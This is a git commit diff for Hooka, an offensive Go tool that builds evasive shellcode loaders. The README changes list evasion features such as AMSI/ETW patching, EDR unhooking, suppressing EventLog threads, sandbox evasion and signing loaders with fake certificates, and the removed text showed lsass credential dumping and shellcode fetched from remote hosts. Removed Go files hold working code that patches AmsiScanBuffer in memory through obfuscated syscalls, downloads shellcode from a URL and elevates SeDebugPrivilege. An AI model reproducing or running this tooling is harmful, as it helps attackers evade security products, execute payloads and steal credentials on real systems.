new version, this tool has been completely reworked.

This commit is contained in:
d3ext
2024-10-10 17:53:45 +02:00
parent 6d634a3c26
commit c13b52fc68
101 changed files with 6629 additions and 3324 deletions
-30
View File
@@ -1,30 +0,0 @@
- Merge pull request #3 from D3Ext/dependabot/go_modules/golang.org/x/sys-0.12.0
- Bump golang.org/x/sys from 0.8.0 to 0.12.0
- Merge pull request #4 from D3Ext/dependabot/go_modules/github.com/google/uuid-1.3.1
- Bump github.com/google/uuid from 1.3.0 to 1.3.1
- Merge pull request #2 from D3Ext/dependabot/go_modules/github.com/D3Ext/maldev-0.1.4
- Merge branch 'main' of https://github.com/D3Ext/Hooka
- ACG supported, examples added, Makefile, README update and typos fixed
- Bump github.com/D3Ext/maldev from 0.1.3 to 0.1.4
- Create dependabot.yml
- weird package error, undefines RtlCreateUserThread
- little fix
- new features, shellcode injection techniques, fixes and much more
- little change
- UAC bypass, anti-sandbox functions, general improvements and more
- new TODOs
- remote dll support
- remove unnecessary lines - little changes
- little changes
- v0.1 - major changes, firex, code improvement and more
- halo's gate, uuidfromstring injection, more CLI flags and more
- stable amsi patch, more functions and other improvements
- new example images added
- updated README.md
- issue templates added
- more functions and implementations
- initial commit
- Create FUNDING.yml
- Update README.md
- Update README.md
- Initial commit
-74
View File
@@ -1,74 +0,0 @@
# Contributor Covenant Code of Conduct
## Our Pledge
In the interest of fostering an open and welcoming environment, we as
contributors and maintainers pledge to making participation in our project and
our community a harassment-free experience for everyone, regardless of age, body
size, disability, ethnicity, gender identity and expression, level of experience,
education, socio-economic status, nationality, personal appearance, race,
religion, or sexual identity and orientation.
## Our Standards
Examples of behavior that contributes to creating a positive environment
include:
* Using welcoming and inclusive language
* Being respectful of differing viewpoints and experiences
* Gracefully accepting constructive criticism
* Focusing on what is best for the community
* Showing empathy towards other community members
Examples of unacceptable behavior by participants include:
* The use of sexualized language or imagery and unwelcome sexual attention or
advances
* Trolling, insulting/derogatory comments, and personal or political attacks
* Public or private harassment
* Publishing others' private information, such as a physical or electronic
address, without explicit permission
* Other conduct which could reasonably be considered inappropriate in a
professional setting
## Our Responsibilities
Project maintainers are responsible for clarifying the standards of acceptable
behavior and are expected to take appropriate and fair corrective action in
response to any instances of unacceptable behavior.
Project maintainers have the right and responsibility to remove, edit, or
reject comments, commits, code, wiki edits, issues, and other contributions
that are not aligned to this Code of Conduct, or to ban temporarily or
permanently any contributor for other behaviors that they deem inappropriate,
threatening, offensive, or harmful.
## Scope
This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community. Examples of
representing a project or community include using an official project e-mail
address, posting via an official social media account, or acting as an appointed
representative at an online or offline event. Representation of a project may be
further defined and clarified by project maintainers.
## Enforcement
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project team at [d3ext@proton.me]. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. The project team is
obligated to maintain confidentiality with regard to the reporter of an incident.
Further details of specific enforcement policies may be posted separately.
Project maintainers who do not follow or enforce the Code of Conduct in good
faith may face temporary or permanent repercussions as determined by other
members of the project's leadership.
## Attribution
This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,
available at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html
[homepage]: https://www.contributor-covenant.org
-36
View File
@@ -1,36 +0,0 @@
# Contributing to Hooka
Contributions are welcomed! This document provides some basic guidelines for contributors.
## Found a bug?
- Before creating a Pull Request (PR), make sure there is a corresponding issue for your contribution. If there isn't one already, please create one.
- Include the problem description in the issue.
## Pull Requests
When creating a PR, please follow these guidelines:
- Link your PR to the corresponding issue.
- Provide context in the PR description to help reviewers understand the changes. The more information you provide, the faster the review process will be.
- Include an example of running the tool with the changed code, if applicable. Provide 'before' and 'after' examples if possible.
- Include steps for functional testing or replication.
## Code Style
- Please run `go fmt ./...` before committing to ensure code aligns with go standards.
- Ensure to lint your code before submitting PR
- All dependencies must be defined in the go.mod file
- Check [https://go.dev/doc/effective_go](https://go.dev/doc/effective_go) for further details
## Questions
If you have any questions or need further guidance, please feel free to ask in the issue or PR, or reach out to the author via Discord: ***@d3ext***
Thank you for your contribution!
## License
By contributing your code, you agree to license your contribution under the terms of the [MIT License](https://github.com/D3Ext/Hooka/blob/main/LICENSE).
All files are released with the MIT license.
+1 -1
View File
@@ -1,6 +1,6 @@
MIT License
Copyright (c) 2023 D3Ext
Copyright (c) 2024 D3Ext
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
+30 -7
View File
@@ -1,9 +1,32 @@
CC = go
EXECUTABLE=hooka
WINDOWS=$(EXECUTABLE)_windows_amd64.exe
LINUX=$(EXECUTABLE)_linux_amd64
DARWIN=$(EXECUTABLE)_darwin_amd64
all:
mkdir build/
export CGO_ENABLED=0
GOARCH=amd64 GOOS=windows $(CC) build -o build/hooka-amd64-windows.exe main.go
.PHONY: all clean
all: build ## Build all
build: windows linux darwin ## Build binaries
windows: $(WINDOWS) ## Build for Windows
linux: $(LINUX) ## Build for Linux
darwin: $(DARWIN) ## Build for Darwin (macOS)
$(WINDOWS):
GOOS=windows GOARCH=amd64 go build -o build/$(WINDOWS) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
$(LINUX):
GOOS=linux GOARCH=amd64 go build -o build/$(LINUX) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
$(DARWIN):
GOOS=darwin GOARCH=amd64 go build -o build/$(DARWIN) -ldflags="-s -w -X main.version=$(VERSION)" ./cmd/main.go
clean: ## Remove previous build
rm -f build/$(WINDOWS) build/$(LINUX) build/$(DARWIN)
help: ## Display available commands
@grep -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
clean:
rm -rf build/
+121 -151
View File
@@ -1,7 +1,6 @@
<p align="center">
<img src="assets/gopher.png" width="130" heigth="60" alt="Gopher"/>
<h1 align="center">Hooka</h1>
<h4 align="center">Evasive shellcode loader, hooks detector and more</h4>
<h4 align="center">Shellcode loader generator with multiples features</h4>
<h6 align="center">Coded with 💙 by D3Ext</h6>
</p>
@@ -19,11 +18,6 @@
<img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat">
</a>
<a href="https://goreportcard.com/report/github.com/D3Ext/Hooka">
<img src="https://goreportcard.com/badge/github.com/D3Ext/Hooka" alt="go report card">
</a>
</p>
<p align="center">
@@ -31,180 +25,160 @@
<a href="#features">Features</a> •
<a href="#usage">Usage</a> •
<a href="#library">Library</a> •
<a href="#contributing">Contributing</a> •
<a href="#disclaimer">Disclaimer</a>
</p>
# Introduction
I started this project to create a powerful shellcode loader with a lot of malleable capabilities via CLI flags like detecting hooked functions, using Hell's and Galo's Gate techniques and more. Why in Golang? Because it's a great language to develop malware and this project can help with it by providing an stable API with some functions which can be really useful. If you have any question feel free to open an issue or whatever you want.
However I've also taken some code from [BananaPhone](https://github.com/C-Sto/BananaPhone) and [Doge-Gabh](https://github.com/timwhitez/Doge-Gabh) projects (thanks a lot to ***C-Sto*** and ***timwhitez***)
***Tested on x64, Windows 10***
Hooka is able to generate shellcode loaders with multiple capabilities. It is also based on other tools like [BokuLoader](https://github.com/boku7/BokuLoader), [Freeze](https://github.com/optiv/Freeze) or [Shhhloader](https://github.com/icyguider/Shhhloader), and it tries to implement more evasion features. Why in Golang? Why not?
# Features
- Get shellcode from remote URL or local file
- Shellcode reflective DLL injection (***sRDI***)
- ***AMSI*** and ***ETW*** patch
- ***Phant0m*** technique to kill EventLog threads (see [here](https://github.com/hlldz/Phant0m))
- Detects hooked functions (i.e. NtCreateThread)
- Compatible with base64 and hex encoded shellcode
- Hell's Gate + Halo's Gate technique
- Capable of unhooking user-mode syscalls via multiple techniques:
- Classic unhooking
- Full DLL unhooking
- Perun's Fart technique
This tool is able to generate loaders with this features:
- Multiple shellcode injection techniques:
- CreateRemoteThread
- CreateProcess
- EnumSystemLocales
- Fibers
- QueueUserApc
- UuidFromString
- SuspendedProcess
- ProcessHollowing
- NtCreateThreadEx
- EtwpCreateEtwThread
- RtlCreateUserThread
- NtQueueApcThreadEx
- No-RWX
- Inject shellcode into a process (not stable and only works via CreateRemoteThread technique)
- Dump lsass.exe process to a file
- Get shellcode from raw file, PE, DLL or from a URL
- EXE and DLL are supported as output loader formats
- Encrypt shellcode using:
- AES
- 3DES
- RC4
- XOR
- AMSI and ETW patching (enabled by default)
- Random variables and function names
- Shikata Ga Nai obfuscation (see [here](https://github.com/EgeBalci/sgn))
- Multiple ways to detect sandboxing
- Enable ACG Guard protection
- Block non-Microsoft signed DLLs from injecting into created processes
- Capable of unhooking user-mode hooks via multiple techniques:
- Classic
- Full DLL
- Perun's Fart technique
- ***Phant0m*** technique to suspend EventLog threads (see [here](https://github.com/hlldz/Phant0m))
- Windows API hashing (see [here](https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware))
- Test mode (injects calc.exe shellcode)
- All already mentioned features available through official package API
***This repo is under development so it may contain errors, use it under your own responsability for legal testing purposes***
- Sign shellcode loader with fake or real certificates
- Strings obfuscation via Caesar cipher (see [here](https://en.wikipedia.org/wiki/Caesar_cipher))
- Compress code weight using Golang compile and UPX (if it's installed)
- Compute binary entropy of the loader
- Compute MD5, SHA1 and SHA256 checksums to keep track of the loader
# Installation
- Just clone the repository like this:
Just clone the repository like this:
```sh
git clone https://github.com/D3Ext/Hooka
cd Hooka
make
$ git clone https://github.com/D3Ext/Hooka
$ cd Hooka
$ make
```
After that you will find the binary under the `build/` folder
# Usage
Before using the project you should know that there are some functions from `ntdll.dll` that aren't usually hooked but they always appear to be hooked. Here you have all false positives:
```
NtGetTickCount
NtQuerySystemTime
NtdllDefWindowProc_A
NtdllDefWindowProc_W
NtdllDialogWndProc_A
NtdllDialogWndProc_W
ZwQuerySystemTime
```
- Let's see some examples
> Help panel
```
```
> Detect hooked functions by EDR (including false positives)
```sh
.\Hooka.exe --hooks
_ _ _ _
| | | | ___ ___ | | __ __ _ | |
| |_| | / _ \ / _ \ | |/ / / _` | | |
| _ | | (_) | | (_) | | < | (_| | |_|
|_| |_| \___/ \___/ |_|\_\ \__,_| (_)
Usage of Hooka:
REQUIRED:
-i, --input string payload to inject in raw format, as PE, as DLL or from a URL
-o, --output string name of output file (i.e. loader.exe)
-f, --format string format of the payload to generate (available: exe, dll) (default exe)
EXECUTION:
--proc string process to spawn (in suspended state) when needed for given execution technique (default notepad.exe)
--exec string technique used to load shellcode (default "SuspendedProcess"):
SuspendedProcess
ProcessHollowing
NtCreateThreadEx
EtwpCreateEtwThread
NtQueueApcThreadEx
No-RWX
AUXILIARY:
-a, --arch string architecture of the loader to generate (default amd64)
-c, --cert string certificate to sign generated loader with (i.e. cert.pfx)
-d, --domain string domain used to sign loader (i.e. www.microsoft.com)
ENCODING:
--enc string encrypts shellcode using given algorithm (available: aes, 3des, rc4, xor) (default none)
--sgn use Shikata Ga Nai to encode generated loader (it must be installed on path)
--strings obfuscate strings using Caesar cipher
EVASION:
--unhook string unhooking technique to use (available: full, peruns)
--sandbox enable sandbox evasion
--no-amsi don't patch AMSI
--no-etw don't patch ETW
--hashing use hashes to retrieve function pointers
--acg enable ACG Guard to prevent AV/EDR from modifying existing executable code
--blockdlls prevent non-Microsoft signed DLLs from injecting in child processes
--phantom suspend EventLog threads using Phant0m technique. High privileges needed, otherwise loader skips this step
--sleep delay shellcode execution using a custom sleep function
EXTRA:
--calc use a calc.exe shellcode to test loader capabilities (don't provide input file)
--compress compress generated loader using Golang compiler and UPX if it's installed
-r, --rand use a random set of parameters to create a random loader (just for testing purposes)
-v, --verbose enable verbose to print extra information
-h, --help print help panel
Examples:
hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe
hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep 60 --acg
hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose
```
> Test shellcode injection by spawning a calc.exe
> Generate a simple EXE loader
```sh
.\Hooka.exe --test
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe
```
> Inject shellcode from URL or file
> Generate a DLL loader
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin
.\Hooka.exe --file shellcode.bin
$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll
```
> Shellcode reflective dll injection (***sRDI***)
> Use custom config (various examples)
```sh
.\Hooka.exe --dll evil.dll,xyz
.\Hooka.exe --remote-dll http://192.168.1.37/evil.dll,xyz
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
```
> Inject shellcode into remote process (i.e. werfault.exe) **Not all techniques covered!!**
```sh
.\Hooka.exe --url http://192.168.116.37/shellcode.bin --pid 5864
```
> Decode shellcode as hex or base64
```sh
.\Hooka.exe --file shellcode.bin --hex
.\Hooka.exe --file shellcode.bin --b64
```
> Use Hell's Gate + Halo's Gate to bypass AVs/EDRs
```sh
.\Hooka.exe -t CreateRemoteThreadHalos --url http://192.168.116.37/shellcode.bin
```
> Unhook function before injecting shellcode
```sh
.\Hooka.exe --file shellcode.bin --unhook 3
```
> Patch AMSI and/or ETW
```sh
.\Hooka.exe --amsi --url http://192.168.116.37/shellcode.bin
.\Hooka.exe --etw --url http://192.168.116.37/shellcode.bin
```
> Kill EventLog service threads (run as admin)
```sh
.\Hooka.exe --phantom
```
> Dump lsass.exe memory to extract credentials (run as admin)
```sh
.\Hooka.exe --lsass dump.tmp
```
As you can see Hooka provides a lot of CLI flags to help you in all kind of situations
# Demo
> Detecting hooks
<img src="assets/hooks.png">
<img src="https://raw.githubusercontent.com/D3Ext/Hooka/main/assets/demo1.png">
> Injecting shellcode via CreateRemoteThread technique
<img src="assets/crt.png">
> Injecting shellcode using custom flags
<img src="assets/custom.png">
> Test function
<img src="assets/test.png">
> Dump lsass memory
<img src="assets/lsass.png">
<img src="https://raw.githubusercontent.com/D3Ext/Hooka/main/assets/demo2.png">
# TODO
:ballot_box_with_check: Block other processes to open our process like [BlockOpenHandle](https://github.com/TheD1rkMtr/BlockOpenHandle)
:ballot_box_with_check: Unhook patch (write bytes)
:black_square_button: `--pid` flag to handle process injection
:ballot_box_with_check: Function to find PIDs which haven't loaded a given DLL (i.e. umppc16606.dll)
:black_square_button: Remove Windows Defender privileges to make it useless (see [here](https://github.com/plackyhacker/SandboxDefender))
:black_square_button: Test unhooking functions against EDRs
- Add direct and indirect syscall
- Add Chacha20 cypher to encrypt shellcode
- More OPSEC features
- General improvement
# Library
To use the official package API see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
# Contributing
See [CONTRIBUTING.md](https://github.com/D3Ext/Hooka/blob/main/CONTRIBUTING.md)
The official Golang package has most of the already mentioned features and some others. To make use of it, see [here](https://github.com/D3Ext/Hooka/tree/main/examples) and [here](https://github.com/D3Ext/Hooka/tree/main/pkg/hooka)
# References
@@ -214,10 +188,16 @@ You can take a look at some of the mentioned techniques here:
https://github.com/C-Sto/BananaPhone
https://github.com/timwhitez/Doge-Gabh
https://github.com/Ne0nd0g/go-shellcode
https://github.com/optiv/Freeze
https://github.com/f1zm0/acheron
https://github.com/Enelg52/OffensiveGo
https://github.com/trickster0/TartarusGate
https://github.com/Kara-4search/HookDetection_CSharp
https://github.com/RedLectroid/APIunhooker
https://github.com/plackyhacker/Peruns-Fart
https://github.com/rasta-mouse/TikiTorch
https://github.com/phra/PEzor
https://github.com/S1ckB0y1337/Cobalt-Strike-CheatSheet
https://github.com/chvancooten/maldev-for-dummies
https://blog.sektor7.net/#!res/2021/perunsfart.md
https://teamhydra.blog/2020/09/18/implementing-direct-syscalls-using-hells-gate/
@@ -225,28 +205,18 @@ https://www.ired.team/offensive-security/defense-evasion/detecting-hooked-syscal
https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++
https://www.ired.team/offensive-security/defense-evasion/retrieving-ntdll-syscall-stubs-at-run-time
https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware
https://winternl.com/detecting-manual-syscalls-from-user-mode/
```
# Disclaimer
Creator has no responsibility for any kind of:
- Illegal use of the project.
- Law infringement by third parties and users.
- Malicious act, capable of causing damage to third parties, promoted by the user through this software.
# Changelog
See [CHANGELOG.md](https://github.com/D3Ext/Hooka/blob/main/CHANGELOG.md)
Use this project under your own responsability! The author is not responsible of any bad usage of the project.
# License
This project is under [MIT](https://github.com/D3Ext/Hooka/blob/main/LICENSE) license
Copyright © 2023, *D3Ext*
# Support
<a href="https://www.buymeacoffee.com/D3Ext" target="_blank"><img src="https://cdn.buymeacoffee.com/buttons/v2/default-blue.png" alt="Buy Me A Coffee" style="height: 60px !important;width: 217px !important;" ></a>
Copyright © 2024, *D3Ext*
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 14 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 83 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 679 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 13 KiB

BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

+3607
View File
File diff suppressed because it is too large Load Diff
-79
View File
@@ -1,79 +0,0 @@
package core
import (
"fmt"
"syscall"
"unsafe"
)
var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
func PatchAmsi() error {
err := WriteBytes(string([]byte{'a', 'm', 's', 'i', '.', 'd', 'l', 'l'}), string([]byte{'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r'}), &amsi_patch)
if err != nil {
return err
}
return nil
}
func WriteBytes(module string, proc string, data *[]byte) error {
target := syscall.NewLazyDLL(module).NewProc(proc)
err := target.Find()
if err != nil {
return err
}
ZwWriteVirtualMemory, err := GetSysId(string([]byte{'Z', 'w', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
if err != nil {
return err
}
NtProtectVirtualMemory, err := GetSysId(string([]byte{'N', 't', 'P', 'r', 'o', 't', 'e', 'c', 't', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y'}))
if err != nil {
return err
}
baseAddress := target.Addr()
numberOfBytesToProtect := uintptr(len(*data))
var oldProtect uint32
ret, err := Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&baseAddress)),
uintptr(unsafe.Pointer(&numberOfBytesToProtect)),
syscall.PAGE_EXECUTE_READWRITE,
uintptr(unsafe.Pointer(&oldProtect)),
)
if ret != 0 || err != nil {
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
}
ret, err = Syscall(
ZwWriteVirtualMemory,
uintptr(0xffffffffffffffff),
target.Addr(),
uintptr(unsafe.Pointer(&[]byte(*data)[0])),
unsafe.Sizeof(*data),
0,
)
if ret != 0 || err != nil {
return fmt.Errorf("there was an error making the ZwWriteVirtualMemory syscall with a return of %d: %s", 0, err)
}
ret, err = Syscall(
NtProtectVirtualMemory,
uintptr(0xffffffffffffffff),
uintptr(unsafe.Pointer(&baseAddress)),
uintptr(unsafe.Pointer(&numberOfBytesToProtect)),
uintptr(oldProtect),
uintptr(unsafe.Pointer(&oldProtect)),
)
if ret != 0 || err != nil {
return fmt.Errorf("there was an error making the NtProtectVirtualMemory syscall with a return of %d: %s", 0, err)
}
return nil
}
-387
View File
@@ -1,387 +0,0 @@
package core
import (
"bytes"
"crypto/sha1"
"encoding/binary"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net/http"
"os"
"strings"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
// Third-party packages
"github.com/Binject/debug/pe"
)
var HookCheck = []byte{0x4c, 0x8b, 0xd1, 0xb8} // Define hooked bytes to look for
type MayBeHookedError struct { // Define custom error for hooked functions
Foundbytes []byte
}
func (e MayBeHookedError) Error() string {
return fmt.Sprintf("may be hooked: wanted %x got %x", HookCheck, e.Foundbytes)
}
func rvaToOffset(pefile *pe.File, rva uint32) uint32 {
for _, hdr := range pefile.Sections {
baseoffset := uint64(rva)
if baseoffset > uint64(hdr.VirtualAddress) &&
baseoffset < uint64(hdr.VirtualAddress+hdr.VirtualSize) {
return rva - hdr.VirtualAddress + hdr.Offset
}
}
return rva
}
func CheckBytes(b []byte) (uint16, error) {
if !bytes.HasPrefix(b, HookCheck) { // Check syscall bytes
return 0, MayBeHookedError{Foundbytes: b}
}
return binary.LittleEndian.Uint16(b[4:8]), nil
}
// Generate a random integer between range
func RandomInt(max int, min int) int { // Return a random number between max and min
rand.Seed(time.Now().UnixNano())
rand_int := rand.Intn(max-min+1) + min
return rand_int
}
func RandomString(length int) string { // Return random string passing an integer (length)
var seededRand *rand.Rand = rand.New(
rand.NewSource(time.Now().UnixNano()))
const charset = "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
}
return string(b)
}
func CalcShellcode() []byte {
return []byte{0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6a, 0x60, 0x5a, 0x68, 0x63, 0x61, 0x6c, 0x63, 0x54, 0x59, 0x48, 0x83, 0xec, 0x28, 0x65, 0x48, 0x8b, 0x32, 0x48, 0x8b, 0x76, 0x18, 0x48, 0x8b, 0x76, 0x10, 0x48, 0xad, 0x48, 0x8b, 0x30, 0x48, 0x8b, 0x7e, 0x30, 0x3, 0x57, 0x3c, 0x8b, 0x5c, 0x17, 0x28, 0x8b, 0x74, 0x1f, 0x20, 0x48, 0x1, 0xfe, 0x8b, 0x54, 0x1f, 0x24, 0xf, 0xb7, 0x2c, 0x17, 0x8d, 0x52, 0x2, 0xad, 0x81, 0x3c, 0x7, 0x57, 0x69, 0x6e, 0x45, 0x75, 0xef, 0x8b, 0x74, 0x1f, 0x1c, 0x48, 0x1, 0xfe, 0x8b, 0x34, 0xae, 0x48, 0x1, 0xf7, 0x99, 0xff, 0xd7, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0x5f, 0x5e, 0x5b, 0x5a, 0x59, 0x58, 0xc3}
}
// Shellcode helper functions
func GetShellcodeFromUrl(sc_url string) ([]byte, error) { // Make request to URL return shellcode
req, err := http.NewRequest("GET", sc_url, nil)
if err != nil {
return []byte(""), err
}
req.Header.Set("Accept", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36")
client := &http.Client{}
resp, err := client.Do(req)
if err != nil {
return []byte(""), err
}
defer resp.Body.Close()
b, err := io.ReadAll(resp.Body)
if err != nil {
return []byte(""), err
}
return b, nil
}
func GetShellcodeFromFile(file string) ([]byte, error) { // Read given file and return content in bytes
f, err := os.Open(file)
if err != nil {
return []byte(""), err
}
defer f.Close()
shellcode_bytes, err := ioutil.ReadAll(f)
if err != nil {
return []byte(""), err
}
return shellcode_bytes, nil
}
// Convert string to Sha1 (used for hashing)
func StrToSha1(str string) string {
h := sha1.New()
h.Write([]byte(str))
bs := h.Sum(nil)
return fmt.Sprintf("%x", bs)
}
func CheckHighPrivs() (bool, error) { // Function to check if current user has Administrator privileges
var sid *windows.SID
err := windows.AllocateAndInitializeSid(
&windows.SECURITY_NT_AUTHORITY,
2,
windows.SECURITY_BUILTIN_DOMAIN_RID,
windows.DOMAIN_ALIAS_RID_ADMINS,
0, 0, 0, 0, 0, 0,
&sid,
)
if err != nil {
return false, err
}
token := windows.Token(0)
member, err := token.IsMember(sid) // Check if is inside admin group
if err != nil {
return false, err
}
return member, nil // return true (means high privs) or false (means low privs)
}
// Enable SeDebugPrivilege
func ElevateProcessToken() error {
type Luid struct {
lowPart uint32 // DWORD
highPart int32 // long
}
type LuidAndAttributes struct {
luid Luid // LUID
attributes uint32 // DWORD
}
type TokenPrivileges struct {
privilegeCount uint32 // DWORD
privileges [1]LuidAndAttributes
}
const SeDebugPrivilege = "SeDebugPrivilege"
const tokenAdjustPrivileges = 0x0020
const tokenQuery = 0x0008
var hToken uintptr
kernel32 := syscall.NewLazyDLL("kernel32.dll")
advapi32 := syscall.NewLazyDLL("advapi32.dll")
GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
GetLastError := kernel32.NewProc("GetLastError")
OpenProcessToken := advapi32.NewProc("OpenProcessToken")
LookupPrivilegeValue := advapi32.NewProc("LookupPrivilegeValueW")
AdjustTokenPrivileges := advapi32.NewProc("AdjustTokenPrivileges")
currentProcess, _, _ := GetCurrentProcess.Call()
result, _, err := OpenProcessToken.Call(
currentProcess,
tokenAdjustPrivileges|tokenQuery,
uintptr(unsafe.Pointer(&hToken)),
)
if result != 1 {
return err
}
var tkp TokenPrivileges
result, _, err = LookupPrivilegeValue.Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(SeDebugPrivilege))),
uintptr(unsafe.Pointer(&(tkp.privileges[0].luid))),
)
if result != 1 {
return err
}
const SePrivilegeEnabled uint32 = 0x00000002
tkp.privilegeCount = 1
tkp.privileges[0].attributes = SePrivilegeEnabled
result, _, err = AdjustTokenPrivileges.Call(
hToken,
0,
uintptr(unsafe.Pointer(&tkp)),
0,
uintptr(0),
0,
)
if result != 1 {
return err
}
result, _, _ = GetLastError.Call()
if result != 0 {
return err
}
return nil
}
/*
This code has been taken and modified from Doge-Gabh project
*/
type Export struct {
Name string
VirtualAddress uintptr
}
type sstring struct {
Length uint16
MaxLength uint16
PWstr *uint16
}
func (s sstring) String() string {
return windows.UTF16PtrToString(s.PWstr)
}
func inMemLoads(modulename string) (uintptr, uintptr) {
s, si, p := gMLO(0)
start := p
i := 1
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
return s, si
}
for {
s, si, p = gMLO(i)
if p != "" {
if strings.Contains(strings.ToLower(p), strings.ToLower(modulename)) {
return s, si
}
}
if p == start {
break
}
i++
}
return 0, 0
}
func GetNtdllStart() (start uintptr, size uintptr)
func getExport(pModuleBase uintptr) []Export {
var exports []Export
var pImageNtHeaders = (*IMAGE_NT_HEADER)(unsafe.Pointer(pModuleBase + uintptr((*IMAGE_DOS_HEADER)(unsafe.Pointer(pModuleBase)).E_lfanew))) // ntH(pModuleBase)
//IMAGE_NT_SIGNATURE
if pImageNtHeaders.Signature != 0x00004550 {
return nil
}
var pImageExportDirectory *imageExportDir
pImageExportDirectory = ((*imageExportDir)(unsafe.Pointer(uintptr(pModuleBase + uintptr(pImageNtHeaders.OptionalHeader.DataDirectory[0].VirtualAddress)))))
pdwAddressOfFunctions := pModuleBase + uintptr(pImageExportDirectory.AddressOfFunctions)
pdwAddressOfNames := pModuleBase + uintptr(pImageExportDirectory.AddressOfNames)
pwAddressOfNameOrdinales := pModuleBase + uintptr(pImageExportDirectory.AddressOfNameOrdinals)
for cx := uintptr(0); cx < uintptr((pImageExportDirectory).NumberOfNames); cx++ {
var export Export
pczFunctionName := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfNames + cx*4)))
pFunctionAddress := pModuleBase + uintptr(*(*uint32)(unsafe.Pointer(pdwAddressOfFunctions + uintptr(*(*uint16)(unsafe.Pointer(pwAddressOfNameOrdinales + cx*2)))*4)))
export.Name = windows.BytePtrToString((*byte)(unsafe.Pointer(pczFunctionName)))
export.VirtualAddress = uintptr(pFunctionAddress)
exports = append(exports, export)
}
return exports
}
func memcpy(dst, src, size uintptr) {
for i := uintptr(0); i < size; i++ {
*(*uint8)(unsafe.Pointer(dst + i)) = *(*uint8)(unsafe.Pointer(src + i))
}
}
func findFirstSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
offset := 0
pattern1 := []byte{0x0f, 0x05, 0xc3}
pattern2 := []byte{0xcc, 0xcc, 0xcc}
// find first occurrence of syscall+ret instructions
for i := 0; i < size-3; i++ {
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2]}
if (instructions[0] == pattern1[0]) && (instructions[1] == pattern1[1]) && (instructions[2] == pattern1[2]) {
offset = i
break
}
}
// find the beginning of the syscall
for i := 3; i < 50; i++ {
instructions := []byte{pMem[offset-i], pMem[offset-i+1], pMem[offset-i+2]}
if (instructions[0] == pattern2[0]) && (instructions[1] == pattern2[1]) && (instructions[2] == pattern2[2]) {
offset = offset - i + 3
break
}
}
return offset
}
func findLastSyscallOffset(pMem []byte, size int, moduleAddress uintptr) int {
offset := 0
pattern := []byte{0x0f, 0x05, 0xc3, 0xcd, 0x2e, 0xc3, 0xcc, 0xcc, 0xcc}
for i := size - 9; i > 0; i-- {
instructions := []byte{pMem[i], pMem[i+1], pMem[i+2], pMem[i+3], pMem[i+4], pMem[i+5], pMem[i+6], pMem[i+7], pMem[i+8]}
if (instructions[0] == pattern[0]) && (instructions[1] == pattern[1]) && (instructions[2] == pattern[2]) {
offset = i + 6
